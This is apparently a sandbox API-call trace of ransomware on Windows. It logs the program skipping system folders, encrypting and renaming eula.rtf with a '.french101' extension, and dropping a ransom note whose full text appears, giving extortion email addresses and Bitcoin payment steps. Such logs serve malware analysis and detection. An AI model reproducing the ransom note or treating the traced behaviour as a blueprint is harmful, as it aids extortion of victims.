0x2 [0282.982] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0282.982] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.982] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.982] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.982] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.982] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.982] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.982] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.982] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.982] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.982] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.982] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0282.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0282.982] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.982] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0282.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0282.982] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.983] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0282.983] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.983] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f18, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0282.983] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.983] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.983] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.983] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.983] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.983] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.983] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.983] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.983] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.983] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0282.983] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0282.983] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0282.983] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0282.984] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0282.984] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0282.984] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0282.984] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ed0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0282.984] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0282.984] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0282.984] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0282.984] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0282.984] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0282.984] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0282.985] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0282.985] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0282.985] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0282.985] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.985] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.985] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.985] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.985] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.985] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.985] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.985] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.985] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.985] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0282.985] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.985] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.985] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0282.985] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.986] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.986] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.986] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.986] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.986] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.986] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.986] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.986] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.986] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.986] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.986] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.986] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0282.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0282.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\я" (normalized: "c:\\588bce7c90097ed212\\2052\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.988] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0282.992] CloseHandle (hObject=0x308) returned 1 [0282.992] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\я" (normalized: "c:\\588bce7c90097ed212\\2052\\я")) returned 1 [0282.993] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0282.993] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0282.993] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0282.993] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0282.993] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x20) returned 1 [0282.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.994] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.994] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x16c3 [0282.994] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.994] SetFilePointer (in: hFile=0x308, lDistanceToMove=5827, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x16c3 [0282.994] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.095] CloseHandle (hObject=0x308) returned 1 [0283.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x16c4 [0283.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=5827, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x16c3 [0283.104] SetEndOfFile (hFile=0x308) returned 1 [0283.106] CloseHandle (hObject=0x308) returned 1 [0283.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.106] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.106] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x16c3 [0283.106] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.107] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.107] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.107] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x16c3 [0283.107] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.107] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.108] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.108] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0283.108] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.108] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.108] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0283.108] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.108] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.108] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.108] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.108] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.108] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.108] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.109] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x16c3 [0283.109] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.109] SetFilePointer (in: hFile=0x308, lDistanceToMove=5827, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x16c3 [0283.109] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.123] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0283.124] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.124] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.124] CloseHandle (hObject=0x308) returned 1 [0283.125] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\rj63MYiNLskACSqG+=VWwA.french101" (normalized: "c:\\588bce7c90097ed212\\2052\\rj63myinlskacsqg+=vwwa.french101")) returned 1 [0283.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\rj63MYiNLskACSqG+=VWwA.french101" (normalized: "c:\\588bce7c90097ed212\\2052\\rj63myinlskacsqg+=vwwa.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.125] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.125] CloseHandle (hObject=0x308) returned 1 [0283.125] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\rj63MYiNLskACSqG+=VWwA.french101", dwFileAttributes=0x80) returned 1 [0283.126] CloseHandle (hObject=0x308) returned 0 [0283.126] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.126] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.126] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.126] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.126] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.126] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.126] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.126] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.126] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.126] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.126] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0283.127] GetLastError () returned 0x2 [0283.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\2052\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.127] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0283.128] CloseHandle (hObject=0x308) returned 1 [0283.128] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.128] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.128] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.128] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.128] 